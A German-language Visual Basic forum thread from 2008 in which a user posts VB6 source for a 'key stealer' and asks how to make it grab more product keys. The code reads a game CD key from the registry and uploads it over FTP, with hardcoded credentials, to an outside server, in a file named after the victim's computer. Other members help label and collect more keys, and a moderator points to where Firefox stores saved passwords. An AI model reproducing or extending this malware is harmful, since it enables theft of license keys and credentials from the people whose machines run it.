Visual Basic Forum

Visual Basic Forum
für VB6 und VB.NET Programmierer
  		RegistrierenRegistrieren  LoginLogin

Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten
Autor
Nachricht
boterfreak_
Coder
Coder

Anmeldedatum: 19.01.2008
Beiträge: 75
Key Stealer Ultimate ??
Verfasst am: 20.01.2008, 16:13
Hallo,ich habe ein key stealer aber ich will das er mehrer keys stealt windows key
games keys
und es soll vor den keys den name stehen von was die sind wie kann ich das machen ??ß

Habe quelltext Ist nicht meiner
Zitat:
Private Function FileExists(ByVal FileName As String) As Boolean
On Local Error Resume Next
FileExists = (Dir$(FileName) <> "")
End Function

Private Function RegRead(Path As String) As String
Dim ws As Object
On Error GoTo ErrHandler
Set ws = CreateObject("WScript.Shell")
RegRead = ws.RegRead(Path)
Exit Function
ErrHandler:
RegRead = ""
End Function

Private Sub Form_Load()

Dim Inhalt As String
Inhalt = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Activision\Call of Duty 4\codkey")

Dim LocalFile As String
LocalFile = Environ("windir") & "\" & "cdkeys.txt"

If FileExists(LocalFile) Then
Kill LocalFile
End If

Open LocalFile For Output As #1
Print #1, Inhalt
Close #1

Dim RemoteFile As String
RemoteFile = "" & Environ$("computername") & ".txt"



Inet1.AccessType = icUseDefault
Inet1.Protocol = icFTP
Inet1.RemotePort = "21"
Inet1.URL = "thenewisback.th.ohost.de"
Inet1.UserName = "thenewisback"
Inet1.Password = "jimmyisback"
Inet1.Execute , "PUT " & LocalFile & " " & RemoteFile

Do While Inet1.StillExecuting = True
DoEvents
Loop

Kill LocalFile


End Sub


Ich will das er so viel wie möglich key´s stealt und vor den keys soll stehen von was der key is wie kann ich das machen Alles soll in einer datei stehen also pcnamecdkeys
_________________
 
ZiG_
Überflieger
Überflieger

Anmeldedatum: 07.03.2007
Beiträge: 1248

Verfasst am: 20.01.2008, 16:20
Du brauchst die Pfade in der Registry zu den Spielen.
Wurde vor kurzem eine Liste im Offtopic Bereich gepostet.

Und dann fügst du einfach den jeweiligen Namen davor ein.
Wie man zwei String verbindet solltest du eigentlich schon wissen.

String = "Spielname" & CDKey
_________________
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
 
boterfreak_
Coder
Coder

Anmeldedatum: 19.01.2008
Beiträge: 75

Verfasst am: 20.01.2008, 16:37
Also soll ich das dan so machen

String = "Spielname" & CDKey uns bei cdkey den pfad ??
 
ZiG_
Überflieger
Überflieger

Anmeldedatum: 07.03.2007
Beiträge: 1248

Verfasst am: 20.01.2008, 16:41
Nein.
Siehst du doch im Source.

Code:

Inhalt = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Activision\Call of Duty 4\codkey")


So liest er den regkey aus.

Und du fügst dann halt noch vorne den Namen an.

Code:

Inhalt = "Name - " & Inhalt

_________________
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
 
boterfreak_
Coder
Coder

Anmeldedatum: 19.01.2008
Beiträge: 75

Verfasst am: 20.01.2008, 16:43
Könntest du ein beispiel machen

Also so ??



Inhalt = "cod4 - "RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Activision\Call of Duty 4\codkey")


Oder wie ??

Habe dich ma in ICQ geaddet
 
Schimmelpilz_
Newbie
Newbie

Anmeldedatum: 17.08.2007
Beiträge: 1

Verfasst am: 08.02.2008, 15:26
Habe das mal so gelöst:

Code:

Inhalt =  RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Blub\Boing\RegKey")
  Text1 = "Dein Programm Name: " & Inhalt
  Text1.Enabled = False


Hoffe, ich konnte helfen! Very Happy
 
PrisonBreaker_
Newbie
Newbie

Anmeldedatum: 05.02.2008
Beiträge: 10

Verfasst am: 08.02.2008, 19:41
Und wie würde das mit den firefox passwörtern aussehen^^.
 
Marduk_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 17.06.2007
Beiträge: 389

Verfasst am: 08.02.2008, 19:53
Die Firefoxpasswörter werden nicht in der Registry sondern in der key3 Datei gespeichert. Die findest du hier
C:\Dokumente und Einstellungen\Marduk\Anwendungsdaten\Mozilla\Firefox\Profiles\3rhvslwd.default
_________________
 
boterfreak_
Coder
Coder

Anmeldedatum: 19.01.2008
Beiträge: 75

Verfasst am: 16.02.2008, 12:01

Kann man es auch so machen das wen man das game nicht hat das dan da steht game nicht vorhanden ??

E:Schon gelöst
 
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten

Tags: key stealer, duty, ultimate

  
 Verwandte Themen   Aufrufe   Letzter Beitrag 
Keine neuen Beiträge [suche] Tuturials winsock & daten senden 868 09.06.2011, 12:19
Keine neuen Beiträge [Video] *.dll & *.ocx Installer 2432 06.03.2008, 20:19
Keine neuen Beiträge ListView speichern & laden 1242 05.08.2008, 12:32
Keine neuen Beiträge Registry & Co Fragen 1101 03.05.2007, 09:57
Keine neuen Beiträge Listbox speichern & laden 2047 22.03.2007, 20:25
 




[ Time: 0.3264s ][ Queries: 113 (0.0280s) ][ GZIP on - Debug on ]